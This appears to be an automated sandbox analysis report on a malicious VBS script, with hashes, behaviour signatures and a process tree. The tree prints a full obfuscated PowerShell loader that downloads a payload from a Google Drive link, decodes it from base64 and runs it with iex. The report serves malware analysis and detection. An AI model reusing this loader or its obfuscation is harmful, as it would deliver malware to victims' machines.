Analysis
-
max time kernel
149s -
max time network
149s -
platform
windows7_x64 -
resource
win7-20240221-en -
resource tags
-
submitted
09/05/2024, 02:01
General
-
Target
c7fc243d16dc43df1a26ed5f80b59419c420f5f9145f91069aa140cee00e84de.vbs
-
Size
10KB
-
MD5
c904ffa3ae78d7110e220511767ab366
-
SHA1
65d853e00e6793fafe910c48fe2a15ffbfda04ed
-
SHA256
c7fc243d16dc43df1a26ed5f80b59419c420f5f9145f91069aa140cee00e84de
-
SHA512
2a6389c4eaecb41dcda5a85c6d8b060df1bba485a4f48666eb1489ba3ee27c058599b10e61fc093b17ee076afec098492230946e3d7b033c4fe32a264590fc93
-
SSDEEP
192:JkJ2wGFpqbsnhQ5hcAReFAHvU/OVAkZC3qEsWcmitxaYaMrpKVgJO:JIqpqb0hmhvuaAKusWcVWZVSO
Score
8/10
Malware Config
Signatures
-
Blocklisted process makes network request 3 IoCs
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 1 IoCs
-
Suspicious use of WriteProcessMemory 6 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\c7fc243d16dc43df1a26ed5f80b59419c420f5f9145f91069aa140cee00e84de.vbs"1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Tildelingsstningernes = 1;$Pulls='Su';$Pulls+='bstrin';$Pulls+='g';Function Sackmaker($Beskyttelsesobjekter){$Nothingist=$Beskyttelsesobjekter.Length-$Tildelingsstningernes;For($Lovliggrelse=1;$Lovliggrelse -lt $Nothingist;$Lovliggrelse+=2){$Fieldwort+=$Beskyttelsesobjekter.$Pulls.Invoke( $Lovliggrelse, $Tildelingsstningernes);}$Fieldwort;}function Produktionsbestemtes($Humblie){. ($Forpligtiger) ($Humblie);}$Toldsteders=Sackmaker 'HM oHzNi lPlEaC/,5O.,0 .(UWBi n d oAw s N T .1S0.. 0F;M W,iLnC6P4.; xD6 4 ;C rNvs:S1F2F1P.,0A)U ,GTe c,k o./,2n0Q1 0P0L1 0S1 FSihr,effRoBxU/.1T2 1N.S0h ';$Fyrenes=Sackmaker 'EU s e,r -,A g.eSn t, ';$Jenvippe=Sackmaker ' hVt tMpCs.:F/./Bd.r iBvKeM.Pg oFoFg lRe .Uc o m /iuScD?.eKxTp oKrPt,=PdBoCw n ltoJa d &SiGd =,1,NRXIQDCADFtBvH4 q E K.RP9Ow eez - 8,AA4P9 N G eDc zsVsz K 5,c 7 ';$Afledere=Sackmaker 'T>U ';$Forpligtiger=Sackmaker ',i e xS ';$Unsuburban='Ndtrftiges';Produktionsbestemtes (Sackmaker 'fSPeAt -BC o n,t,e nAt - P a t.h BTF:H\ D i,n.i tBr i l eP.St,xSt -eV aVlHu e G$ U n sIu b.uSrAbDa nS; ');Produktionsbestemtes (Sackmaker ' i fS (.tSe s t -Tp a t h TS:S\KD.iKnIiPtDr iPlse .St.x tR) {IeUx.i tB} ; ');$Superinvolution = Sackmaker ' e.c,hOo C%Sa,p p,dBa.t aF% \,oBrAd s.tprEeCn,gS.FAMfsfC .&B&C ,eKc,hPoC L$V ';Produktionsbestemtes (Sackmaker 'T$.gKlSo bRa,l :.A.i rTbMr u s hF= (Ac mVdU C/FcB j$,SLu,p e rTiDn v.ovl,uLtDiAoSn,) ');Produktionsbestemtes (Sackmaker 'C$DgClPoMb.aAl :DD i m e t hFyslAs.uEl,f o x iSdTe =.$.JLe.n v,isp.p e..AsOp l iGtM( $BA f.l ePdTetrCe,) ');$Jenvippe=$Dimethylsulfoxide[0];Produktionsbestemtes (Sackmaker ' $,gAl o bFa lS: D.e,n dBr o c lKa sDt,iPc =ENBe wK-sO.bUjBeMcRt. S yLs,tKe,m . N eNtB.fWTepb Cul.i e n t. ');Produktionsbestemtes (Sackmaker ' $ D eHn,dSrUoScHl,a.sKtRi,cb..HHe,aFd e rSsI[,$ F y.r e n e sT]V=F$,TSo lEd sNt eFd eZrBsP ');$Overreligion=Sackmaker ' D eMn dEr,o.c l a.s t iSc..VDFo w n l oQaDd FFiil e ( $TJ eCnBv,i pkpSeA,k$mCSoAnItRrOa cHt iRb,l yZ2.5S3,) ';$Overreligion=$Airbrush[1]+$Overreligion;$Contractibly253=$Airbrush[0];Produktionsbestemtes (Sackmaker ' $sgPl,oKb.aKl.:,G,eLr tNh.st= ( TRe s t - P a,tHhB .$.CAo n.t rSaBcTt iCbGlNy 2.5O3 ), ');while (!$Gerths) {Produktionsbestemtes (Sackmaker '.$Bg l oWbBaKlF: KNi,n d t,nBd eBr n.eR=.$ t rFu eU ') ;Produktionsbestemtes $Overreligion;Produktionsbestemtes (Sackmaker 'OS tUaKrRtS-,S lPeHe pS 4A ');Produktionsbestemtes (Sackmaker ' $Lg.lAoIb aAlE:HGDe rTtYh,s =E(VTDe s,tS- P.aFt h. T$AC oSn tcrDa.cStUiKb,lPyU2P5 3.), ') ;Produktionsbestemtes (Sackmaker 'F$Vg.lIo bTa.lR:.IMgAn,o rAaEbGlEe =T$ gsl o bGa lM:LU dUfBrOibt ngiMnCgBe nPsR+M+Y%a$FD,irmteSt hSy l sFu.l.fao,xMi d e..LcaoNu n tK ') ;$Jenvippe=$Dimethylsulfoxide[$Ignorable];}$Realindkomsters=394645;$Lungebetndelserne=27016;Produktionsbestemtes (Sackmaker 'S$ g lNo,bVa,l,:SS,tme vTe dKo rGe risS = LGSeMt,- CPo n.t,e.nWt, $ CLoPn t,rNa c t iCbVlFy 2 5L3 ');Produktionsbestemtes (Sackmaker 'U$ gPlLosbUa l : SEh aPc,k,l e,wKi s e, =, p[CSKy s.the,m..SCDo n v e r t,]S: :EFGrIoBmKB aHs e 6 4BSBt,rDiCn,g.(S$ S t eBvOe dPoGr,ejrFs ), ');Produktionsbestemtes (Sackmaker ' $Kg l,oKb a.lT:.B,l o.ogd w o.r.t.hSyP D=o ,[fS y sStDeSmH.FTBe xEt ..EFnScSobd i,n,gM]A: : A,S,C IUIU.KG eRt SStCr iAnSg.(,$DSUhNaAc,kAlIePwVi s eK) ');Produktionsbestemtes (Sackmaker 'H$Fg lMohbAaEl,: S p rKiRgVgViPeSrC= $MB lDoOoedSw.o rRt.htyP.Fs uSbBsStFrGiDn g (.$MR e aFl i n.d k.o mGsCtPeCr s ,S$SL,u n.g.ePbTePt,n d.eIlGs,e.rOn,e ) ');Produktionsbestemtes $Spriggier;"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo %appdata%\ordstreng.Aff && echo $"3⤵
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
4KB
-
Filesize
32KB
-
Filesize
2.9MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
4KB
-
Filesize
9.6MB
-
Filesize
9.6MB